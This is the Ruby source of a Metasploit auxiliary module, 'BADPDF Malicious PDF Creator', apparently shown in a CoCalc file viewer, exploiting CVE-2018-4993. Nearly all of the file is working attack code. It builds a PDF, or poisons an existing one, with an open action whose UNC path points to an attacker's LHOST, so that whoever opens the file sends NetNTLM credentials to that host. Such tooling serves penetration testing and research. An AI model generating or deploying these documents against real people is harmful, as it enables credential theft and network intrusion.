CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::FILEFORMAT
8

9
  def initialize(info = {})
10
    super(update_info(info,
11
        'Name'          => 'BADPDF Malicious PDF Creator',
12
        'Description'   => '
13
          This module can either creates a blank PDF file which contains a UNC link which can be used
14
          to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary
15
          code into an existing PDF document if possible.
16
        ',
17
        'License'       => MSF_LICENSE,
18
        'Author'        =>
19
            [
20
              'Assaf Baharav',    # Code provided as POC by CheckPoint
21
              'Yaron Fruchtmann', # Code provided as POC by CheckPoint
22
              'Ido Solomon',      # Code provided as POC by CheckPoint
23
              'Richard Davy - secureyourit.co.uk', # Metasploit
24
            ],
25
        'Platform'      => ['win'],
26
        'References'    =>
27
        [
28
          ['CVE', '2018-4993'],
29
          ['URL', 'https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/']
30
        ])
31
      )
32
    register_options(
33
      [
34
        OptAddress.new('LHOST', [true, 'Host listening for incoming SMB/WebDAV traffic', nil]),
35
        OptString.new('FILENAME', [false, 'Filename']),
36
        OptPath.new('PDFINJECT', [false, 'Path and filename to existing PDF to inject UNC link code into'])
37
      ]
38
    )
39
  end
40

41
  def run
42
    if datastore['PDFINJECT'].nil? && datastore['FILENAME'].nil?
43
      print_error 'Please configure either FILENAME or PDFINJECT'
44
    elsif !datastore['PDFINJECT'].nil? && datastore['PDFINJECT'].to_s.end_with?('.pdf')
45
      injectpdf
46
    elsif !datastore['FILENAME'].nil? && datastore['FILENAME'].to_s.end_with?('.pdf')
47
      createpdf
48
    else
49
      print_error "FILENAME or PDFINJECT must end with '.pdf' file extension"
50
    end
51
  end
52

53
  def injectpdf
54
    # Payload which gets injected
55
    inject_payload = "/AA <</O <</F (\\\\\\\\#{datastore['LHOST']}\\\\test)/D [ 0 /Fit]/S /GoToE>>>>"
56

57
    # if given path doesn't exist display error and return
58
    unless File.exist?(datastore['PDFINJECT'])
59
      # If file not found display error message
60
      print_error "File doesn't exist #{datastore['PDFINJECT']}"
61
      return
62
    end
63

64
    # Read in contents of file
65
    content = File.binread(datastore['PDFINJECT'])
66

67
    # Check for place holder - below ..should.. cover most scenarios.
68
    newdata = ''
69
    [2, 4, 6, 8].each do |pholder|
70
      unless content.index("/Contents #{pholder} 0 R").nil?
71
        # If place holder exists create new file content
72
        newdata = content[0..(content.index("/Contents #{pholder} 0 R") + 14)] + inject_payload + content[(content.index("/Contents #{pholder} 0 R") + 15)..-1]
73
        break
74
      end
75
    end
76

77
    # Display error message if we couldn't poison the file
78
    if newdata.empty?
79
      print_error 'Could not find placeholder to poison file this time....'
80
      return
81
    end
82

83
    # Create new filename by replacing .pdf with _malicious.pdf
84
    newfilename = "#{datastore['PDFINJECT'].gsub(/\.pdf$/, '')}_malicious.pdf"
85
    # Write content to file
86
    File.open(newfilename, 'wb') { |file| file.write(newdata) }
87
    # Check file exists and display path or error message
88
    if File.exist?(newfilename)
89
      print_good("Malicious file written to: #{newfilename}")
90
    else
91
      print_error 'Something went wrong creating malicious PDF file'
92
    end
93
  end
94

95
  def createpdf
96
    # Code below taken POC provided by CheckPoint Research
97
    pdf = ''
98
    pdf << "%PDF-1.7\n"
99
    pdf << "1 0 obj\n"
100
    pdf << "<</Type/Catalog/Pages 2 0 R>>\n"
101
    pdf << "endobj\n"
102
    pdf << "2 0 obj\n"
103
    pdf << "<</Type/Pages/Kids[3 0 R]/Count 1>>\n"
104
    pdf << "endobj\n"
105
    pdf << "3 0 obj\n"
106
    pdf << "<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>\n"
107
    pdf << "endobj\n"
108
    pdf << "xref\n"
109
    pdf << "0 4\n"
110
    pdf << "0000000000 65535 f\n"
111
    pdf << "0000000015 00000 n\n"
112
    pdf << "0000000060 00000 n\n"
113
    pdf << "0000000111 00000 n\n"
114
    pdf << "trailer\n"
115
    pdf << "<</Size 4/Root 1 0 R>>\n"
116
    pdf << "startxref\n"
117
    pdf << "190\n"
118
    pdf << "3 0 obj\n"
119
    pdf << "<< /Type /Page\n"
120
    pdf << "   /Contents 4 0 R\n"
121
    pdf << "   /AA <<\n"
122
    pdf << "     /O <<\n"
123
    pdf << "        /F (\\\\\\\\#{datastore['LHOST']}\\\\test)\n"
124
    pdf << "      /D [ 0 /Fit]\n"
125
    pdf << "      /S /GoToE\n"
126
    pdf << "      >>\n"
127
    pdf << "     >>\n"
128
    pdf << "     /Parent 2 0 R\n"
129
    pdf << "     /Resources <<\n"
130
    pdf << "      /Font <<\n"
131
    pdf << "        /F1 <<\n"
132
    pdf << "          /Type /Font\n"
133
    pdf << "          /Subtype /Type1\n"
134
    pdf << "          /BaseFont /Helvetica\n"
135
    pdf << "          >>\n"
136
    pdf << "         >>\n"
137
    pdf << "       >>\n"
138
    pdf << ">>\n"
139
    pdf << "endobj\n"
140
    pdf << "4 0 obj<< /Length 100>>\n"
141
    pdf << "stream\n"
142
    pdf << "BT\n"
143
    pdf << "/TI_0 1 Tf\n"
144
    pdf << "14 0 0 14 10.000 753.976 Tm\n"
145
    pdf << "0.0 0.0 0.0 rg\n"
146
    pdf << "(PDF Document) Tj\n"
147
    pdf << "ET\n"
148
    pdf << "endstream\n"
149
    pdf << "endobj\n"
150
    pdf << "trailer\n"
151
    pdf << "<<\n"
152
    pdf << "  /Root 1 0 R\n"
153
    pdf << ">>\n"
154
    pdf << "%%EOF\n"
155
    # Write data to filename
156
    file_create(pdf)
157
  end
158
end
159

160